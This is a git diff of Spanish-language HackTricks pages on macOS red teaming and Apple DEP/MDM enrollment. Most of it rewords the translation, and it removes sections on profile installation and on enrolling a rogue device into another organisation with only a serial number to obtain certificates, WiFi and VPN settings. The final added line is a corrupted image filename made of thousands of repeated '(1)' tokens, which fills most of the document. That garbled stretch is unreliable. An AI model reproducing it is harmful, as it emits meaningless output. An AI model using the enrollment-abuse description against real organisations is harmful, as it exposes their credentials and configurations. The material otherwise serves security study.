+El Red Teaming en MacOS es diferente del Red Teaming regular en Windows, ya que generalmente **MacOS está integrado con varias plataformas externas directamente**. Una configuración común de MacOS es acceder a la computadora utilizando **credenciales sincronizadas de OneLogin y acceder a varios servicios externos** (como github, aws...) a través de OneLogin.
## Técnicas Misceláneas de Red Team
@@ -227,5 +230,4 @@ Cuando se descarga un archivo en Safari, si es un archivo "seguro", se **abrirá
- [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
- [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
-
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md
index 4a82f8c15..85dbdcd75 100644
--- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md
+++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md
@@ -19,7 +19,7 @@
### **Fundamentos de DEP (Device Enrollment Program)**
-El [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) ofrecido por Apple simplifica la integración de Mobile Device Management (MDM) al facilitar la configuración sin contacto para dispositivos iOS, macOS y tvOS. DEP automatiza el proceso de inscripción, permitiendo que los dispositivos estén operativos desde el primer momento, con mínima intervención del usuario o del administrador. Los aspectos esenciales incluyen:
+El [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) ofrecido por Apple simplifica la integración de Mobile Device Management (MDM) al facilitar la configuración sin contacto para dispositivos iOS, macOS y tvOS. DEP automatiza el proceso de inscripción, permitiendo que los dispositivos estén operativos directamente desde la caja, con mínima intervención del usuario o del administrador. Los aspectos esenciales incluyen:
- Permite que los dispositivos se registren de forma autónoma con un servidor MDM predefinido al activarse por primera vez.
- Principalmente beneficioso para dispositivos nuevos, pero también aplicable a dispositivos que están siendo reconfigurados.
@@ -30,7 +30,7 @@ El [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guid
Es crucial notar que la facilidad de inscripción proporcionada por DEP, aunque beneficiosa, también puede presentar riesgos de seguridad. Si las medidas de protección no se aplican adecuadamente para la inscripción en MDM, los atacantes podrían explotar este proceso simplificado para registrar su dispositivo en el servidor MDM de la organización, haciéndose pasar por un dispositivo corporativo.
> [!CAUTION]
-> **Alerta de Seguridad**: La inscripción simplificada de DEP podría permitir el registro no autorizado de dispositivos en el servidor MDM de la organización si no se implementan las salvaguardias adecuadas.
+> **Alerta de Seguridad**: La inscripción simplificada de DEP podría permitir potencialmente el registro no autorizado de dispositivos en el servidor MDM de la organización si no se implementan las salvaguardias adecuadas.
### Fundamentos ¿Qué es SCEP (Simple Certificate Enrollment Protocol)?
@@ -39,7 +39,7 @@ Es crucial notar que la facilidad de inscripción proporcionada por DEP, aunque
### ¿Qué son los Perfiles de Configuración (también conocidos como mobileconfigs)?
-- La forma oficial de Apple de **configurar/implementar la configuración del sistema.**
+- La forma oficial de Apple de **configurar/imponer la configuración del sistema.**
- Formato de archivo que puede contener múltiples cargas útiles.
- Basado en listas de propiedades (el tipo XML).
- “pueden ser firmados y cifrados para validar su origen, asegurar su integridad y proteger su contenido.” Fundamentos — Página 70, Guía de Seguridad de iOS, enero de 2018.
@@ -56,7 +56,7 @@ Es crucial notar que la facilidad de inscripción proporcionada por DEP, aunque
### DEP
-- **3 APIs**: 1 para revendedores, 1 para proveedores de MDM, 1 para identidad de dispositivo (no documentada):
+- **3 APIs**: 1 para revendedores, 1 para proveedores de MDM, 1 para identidad del dispositivo (no documentada):
- La llamada [API de "servicio en la nube" de DEP](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Esta es utilizada por los servidores MDM para asociar perfiles DEP con dispositivos específicos.
- La [API de DEP utilizada por los Revendedores Autorizados de Apple](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) para inscribir dispositivos, verificar el estado de inscripción y verificar el estado de transacción.
- La API privada de DEP no documentada. Esta es utilizada por los Dispositivos Apple para solicitar su perfil DEP. En macOS, el binario `cloudconfigurationd` es responsable de comunicarse a través de esta API.
@@ -68,7 +68,7 @@ Es crucial notar que la facilidad de inscripción proporcionada por DEP, aunque
- RESTful
- sincroniza registros de dispositivos de Apple al servidor MDM
- sincroniza “perfiles DEP” a Apple desde el servidor MDM (entregados por Apple al dispositivo más tarde)
-- Un perfil de DEP contiene:
+- Un “perfil” de DEP contiene:
- URL del servidor del proveedor de MDM
- Certificados adicionales de confianza para la URL del servidor (fijación opcional)
- Configuraciones adicionales (por ejemplo, qué pantallas omitir en el Asistente de Configuración)
@@ -136,68 +136,12 @@ La respuesta es un diccionario JSON con algunos datos importantes como:
.png>)
- Solicitud enviada a **la URL proporcionada en el perfil DEP**.
-- **Certificados ancla** se utilizan para **evaluar la confianza** si se proporcionan.
+- **Los certificados ancla** se utilizan para **evaluar la confianza** si se proporcionan.
- Recordatorio: la propiedad **anchor_certs** del perfil DEP
- **La solicitud es un simple .plist** con identificación del dispositivo
-- Ejemplos: **UDID, versión de OS**.
+- Ejemplos: **UDID, versión del SO**.
- Firmado por CMS, codificado en DER
- Firmado usando el **certificado de identidad del dispositivo (de APNS)**
- **La cadena de certificados** incluye un **Apple iPhone Device CA** expirado
- (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
-
-### Paso 6: Instalación del Perfil
-
-- Una vez recuperado, **el perfil se almacena en el sistema**
-- Este paso comienza automáticamente (si está en **asistente de configuración**)
-- Impulsado por **`CPInstallActivationProfile`**
-- Implementado por mdmclient a través de XPC
-- LaunchDaemon (como root) o LaunchAgent (como usuario), dependiendo del contexto
-- Los perfiles de configuración tienen múltiples cargas útiles para instalar
-- El marco tiene una arquitectura basada en plugins para instalar perfiles
-- Cada tipo de carga útil está asociado con un plugin
-- Puede ser XPC (en el marco) o Cocoa clásico (en ManagedClient.app)
-- Ejemplo:
-- Las cargas útiles de certificados utilizan CertificateService.xpc
-
-Típicamente, el **perfil de activación** proporcionado por un proveedor de MDM incluirá **las siguientes cargas útiles**:
-
-- `com.apple.mdm`: para **inscribir** el dispositivo en MDM
-- `com.apple.security.scep`: para proporcionar de forma segura un **certificado de cliente** al dispositivo.
-- `com.apple.security.pem`: para **instalar certificados CA de confianza** en el llavero del sistema del dispositivo.
-- La instalación de la carga útil de MDM es equivalente a **la inscripción en MDM en la documentación**
-- La carga útil **contiene propiedades clave**:
-- - URL de Inscripción MDM (**`CheckInURL`**)
-- URL de Sondeo de Comandos MDM (**`ServerURL`**) + tema de APNs para activarlo
-- Para instalar la carga útil de MDM, se envía una solicitud a **`CheckInURL`**
-- Implementado en **`mdmclient`**
-- La carga útil de MDM puede depender de otras cargas útiles
-- Permite **que las solicitudes se fijen a certificados específicos**:
-- Propiedad: **`CheckInURLPinningCertificateUUIDs`**
-- Propiedad: **`ServerURLPinningCertificateUUIDs`**
-- Entregado a través de la carga útil PEM
-- Permite que el dispositivo sea atribuido con un certificado de identidad:
-- Propiedad: IdentityCertificateUUID
-- Entregado a través de la carga útil SCEP
-
-### **Paso 7: Escuchando comandos MDM**
-
-- Después de que la inscripción en MDM se complete, el proveedor puede **emitir notificaciones push usando APNs**
-- Al recibirlas, son manejadas por **`mdmclient`**
-- Para sondear comandos MDM, se envía una solicitud a ServerURL
-- Utiliza la carga útil de MDM previamente instalada:
-- **`ServerURLPinningCertificateUUIDs`** para fijar la solicitud
-- **`IdentityCertificateUUID`** para el certificado de cliente TLS
-
-## Ataques
-
-### Inscripción de Dispositivos en Otras Organizaciones
-
-Como se comentó anteriormente, para intentar inscribir un dispositivo en una organización **solo se necesita un Número de Serie que pertenezca a esa Organización**. Una vez que el dispositivo está inscrito, varias organizaciones instalarán datos sensibles en el nuevo dispositivo: certificados, aplicaciones, contraseñas de WiFi, configuraciones de VPN [y así sucesivamente](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
-Por lo tanto, este podría ser un punto de entrada peligroso para los atacantes si el proceso de inscripción no está correctamente protegido:
-
-{{#ref}}
-enrolling-devices-in-other-organisations.md
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}
+ (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) 